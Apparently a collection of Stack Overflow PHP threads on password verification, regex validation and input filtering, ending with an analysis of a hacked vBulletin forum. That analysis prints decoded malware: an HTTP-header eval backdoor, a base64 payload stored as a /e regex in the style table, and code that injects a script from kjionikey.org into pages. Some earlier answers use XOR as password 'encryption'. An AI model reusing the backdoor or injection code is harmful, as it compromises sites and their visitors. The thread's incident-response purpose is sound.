I know this has to be a common question, but I can't find the answer.
I'm using PHP's password_verify. If the password contains "&" it won't verify. Without the "&" it does. What do I need to do to escape the character?
<?php
$password_entered = "Password&";
$stored_secret = '$2y$12$oG8A4pbZSfQFxBQ0cHcJTuJ1h7wzzhlMnqjhnurN4.0/AfS/Wp9W2';
if (password_verify($newstr, $stored_secret))
{
echo "Right\n";
}
else
{
echo "Wrong\n";
}
?>
Firstly ignoring that $newstr is not set and you meant $password_entered instead.
It looks like your running htmlentities/htmlspecialchars on the user input, (which you are not showing), so it's breaking it.
The following matches your hash: Password&.
<?php
$password_entered = "Password&";
$stored_secret = '$2y$12$oG8A4pbZSfQFxBQ0cHcJTuJ1h7wzzhlMnqjhnurN4.0/AfS/Wp9W2';
if (password_verify($password_entered, $stored_secret)) {
echo "Right\n";
} else {
echo "Wrong\n";
}
?>
https://3v4l.org/SjfRG
Related
My first question here, so hopefully this all goes well.
I have an application that is currently running on desktop under MS Access using VBA code. When the user logs in I have a function to encrypt the password. This is:
Public Function EncryptEasy(strIn As String) As String
Dim strChr As String
Dim i As Integer
Dim Salt As Long
Salt = 543214321
For i = 1 To Len(strIn)
strChr = strChr & CStr(Asc( Mid(strIn, i, 1) ) Xor Salt)
Next I
EncryptEasy = strChr
End Function
To give you an idea, when I run EncryptEasy("test") in VBA, it returns:
543214213543214228543214210543214213
I am now setting up a simple web-app using PHP and was hoping to utilise the same encryption as I'm currently using by coding this function into PHP. I HAVE tried and below is my attempt:
function EncryptEasy($strIn) {
$salt = 543214321;
$strChr = Null;
$strLen = strlen($strIn);
for ($i = 0; $i <= $strLen; $i++) {
$strChr = $strChr . chr(ord(substr($strIn, $i, 1)) xor $salt);
}
return $strChr;
}
However, this is returning blank. I have tried echoing this:
<?php
echo EncryptEasy("test");
?>
to no avail.
Is anyone able to see where I am going wrong?
I would not suggest creating your own algorithm for encrypting, instead use built-in functions provided by php.
Although this is not encrypting the password like the one in your original code, using password_hash is easier than creating your own, and to verify use password_verify()
Hashing Password:
<?php
$hashed = password_hash("somePassword", PASSWORD_DEFAULT);
?>
Verifying Password
<?php
if(password_verify('somePassword', $hashed))
{
echo 'Same'; //goes here
} else {
echo 'Not same';
}
if(password_verify('somePasswordsss', $hashed))
{
echo 'Same';
} else {
echo 'Not same'; //goes here
}
?>
What's wrong with this preg_match() usage? I want to check steam lobby link and if it's matching then write to database. If not, just echo the error. I am doing this through ajax. Is it better to do this with ajax or $_SERVER["REQUEST_METHOD"] == "POST"?
<?php
require("../includes/config.php");
$lobby = "steam://joinlobby/730/109775243427128868/76561198254260308";
if (!preg_match("%^((steam?:)+(/joinlobby\/730\/)+([0-9]{17,25}\/.?)+([0-9]{17,25})/$)%i", $lobby)) {
echo "Lobby link isn't formatted correctly.";
}
else {
$rank = "Golden";
$mic = "No";
try {
$stmt=$db->prepare("INSERT INTO created_lobby (lobby_link, current_rank, have_mic) VALUES (:lobby_link, '$rank', '$mic')");
$stmt->execute(array(
':input_link' => $_POST['lobbyLink']
));
}
catch(PDOException $e) {
echo "Error: " . $e->getMessage();
}
}
?>
My Problem:
When I execute this code, it will give me false.
Thank you for help.
This works:
$lobby = "steam://joinlobby/730/109775243427128868/76561198254260308";
if (!preg_match("%^(steam?:)+(//joinlobby/730/)+([0-9]{17,25}/.?)+([0-9]{17,25}$)%i", $lobby)) {
echo "Lobby link isn't formatted correctly.";
}
I changed /joinlobby to //joinlobby, and remove the / at the end. I also removed the unnecessary () around everything.
I suspect you also shouldn't have (...)+ around steam?: and //joinlobby/730/. They'll cause repeated uses of those prefixes to be accepted as correct, e.g. steam:steam:...
I start to learn php and create a code to learn how to use the GET/POST in php code.
So I heard an unsafe code can be executed through the input, so I create a checker using the
htmlentities() function.
<?php
if (isset($_POST['firstname'], $_POST['lastname'], $_POST['pwd']) or isset($_GET['firstname'], $_GET['lastname'], $_GET['pwd'])) {
txt_check();
$fname = $_GET['firstname'];
$lname = $_GET['lastname'];
$pwd = $_GET['pwd'];
if ($fname == 'Or' and $lname == 'Halimi' and $pwd == 'password') {
print 'Welcome master';
} else {
print 'You are not my master!';
}
echo format('<br/> <br/> {} {}', array($fname, $lname)); # like format in python
}
function txt_check() {
foreach ($_GET as $name => $string) {
$_GET[$name] = htmlentities($_GET[$name], ENT_QUOTES, 'UTF-8');
}
foreach ($_POST as $name => $string) {
$_POST[$name] = htmlentities($_POST[$name], ENT_QUOTES, 'UTF-8');
}
}
?>
The problem is my function txt_check() not working,
but when I put echo htmlentities($fname, ENT_QUOTES, 'UTF-8') #fname=<script> i get <script> at the end of the code.
Maybe I can't edit $_GET? I come from python so I don't know if $_GET is special in someway.
Edit:
I want to understand if i can change the global $_GET\$_POST like I did and if its good to doing so' because i don't know if the code inside txt_check() working for me.
If not, there is a better way to protect the input I get? Because i want to make a standard level of protecting, even if i dont even know the most risks that's hanging out there.
And why htmlentities() its not so good for this case? I use basic tutorial about php security to make it.
If you are trying to remove HTML tags, i would recommend you to use the strip_tags...not the htmlentities.
<?php
$mytext = "hello<br><script>alert('everybody');</script>";
$allow = "<br>";
echo strip_tags($mytext,$allow);
?>
That will remove only the script tag.
This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
regular expression for letters, numbers and - _
I am creating a signup form in PHP and need to ensure that user's usernames don't contain unwanted characters. Is there anyway I can create a function that returns true for A-Z a-z 0-9 - . _.
Also I do not want the user's emails to be from yahoo as for some reason they reject the confirmation emails sent. Along with __FILTER_VALIDATE_EMAIL__what would I need to add?
PS: is there anything wrong with the characters I have mentioned above? I have noted that gmail doesn't allow -_ only . and YouTube only alpha-numeric characters.
Edited to use \w instead of a-zA-Z0-9_
if(preg_match("/[^\w-.]/", $user)){
// invalid character
}
if(!filter_var($email, FILTER_VALIDATE_EMAIL) || strstr($email,'#yahoo.com')) {
// either invalid email, or it contains in #yahoo.com
}
if(preg_match("/[^-A-Za-z0-9._ ]/", $userName)){
// there are one or more of the forbidden characters (the set of which is unknown)
}
<?php
// The validator class
class Validator
{
public function isValidUsername($username)
{
if(preg_match('/^[a-zA-Z0-9_\-\.]+$/', $username)) {
return true;
}
return false;
}
public function isYahooMail($mail) {
if(preg_match('/^[a-zA-Z0-9_\-\.]+#yahoo.com$/', $mail)) {
return true;
}
return false;
}
}
// The way to use this class
$username = "otporan_123";
$email = "otporan#gmail.com";
$badUsername = "otporan*bad";
$yahooEmail = "otporan#yahoo.com";
$validator = new Validator();
var_export($validator->isValidUsername($username));
echo "<br />";
var_export($validator->isValidUsername($badUsername));
echo "<br />";
var_export($validator->isYahooMail($email));
echo "<br />";
var_export($validator->isYahooMail($yahooEmail));
echo "<br />";
?>
This code would return:
true
false
false
true
This is a class, but you can see whats going on in methods and write your own functions if you like procedural code :)
Hope this helps!
if (!preg_match('/\w\-/', $username) {
//throw error
}
I found a couple vBulletin sites I administer getting hacked recently. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). I am usually pretty good at finding the holes where they get in and patching them up, but this one is stumping me. They are injecting data into the MySQL tables. The attack always happens when they make a GET request to the faq.php script. I was able to save data when the attack occurs. This was the $_REQUEST, $_GET, $_POST, $_COOKIE, and $_SERVER arrays. The only thing I saw that looked out of place is that there were two new $_SERVER keys, HTTP_SOVIET and HTTP_PACK:
http://pastebin.com/b6WdZtfK
I have to assume this is the root of the issue, but I cannot for the life of me figure out how the attacker can set this variable. There is nothing in the request string, nothing in the cookie array, it is a GET request, not POST.
Any idea?
A variable like $_SERVER['HTTP_*'] can set by just adding headers to the HTTP request.
A simple command line example would be:
PHP Page:
print_r($_SERVER);
Then on command line:
curl --header "SOVIET: 123" localhost
You'll see that $_SERVER['HTTP_SOVIET'] is equal to 123.
In this case, the contents of HTTP_SOVIET are base64 encoded (give away, it ends in ==).
Unencoded, it turns into:
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkJibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFXNUtlbk5PUTIxc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRMFpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBoTTNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSMFp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1SMFp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlRsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
#iai();
It's worth noting that query there:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Check your style table, as that's one way/the way code is exposed to the user.
Renaming your style table to something else would likely mitigate the effects of this attack for now.
In there, the base64 bit has more bas64 in, which has more bas64 in which eventually evals:
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and #is_writable($file_d) and (($size_f = #filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
This writes to a file called /tmp/phpYRcCBmBr, so I'd check what that says.
It also hides it's behaviour from search engines, which is nice of it.
The bad bit for users is likely:
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
Which puts some JS on the page hosted by kjionikey.org. That JS requires a key based on the IP address.
I'd check any code that reads/executes the contents of random $_SERVER variables, but why that would be in there, I don't know.
The attacker in this case has a backdoor code installed in one of your FAQ phrases (vbulletin phrases db table) as a set of chr() PHP function calls.
${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...
that basically when eval'd through the faq.php script, gets decoded to:
if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
#eval(base64_decode($_SERVER['HTTP_SOVIET']));
}
You may find the affected vBulletin phrases by issuing a SQL query like so
SELECT varname, text FROM `phrase` where text like '%chr(%';
Though there are many variants of this, some are using HEX strings, base64decode, assert, pack calls or just plain PHP.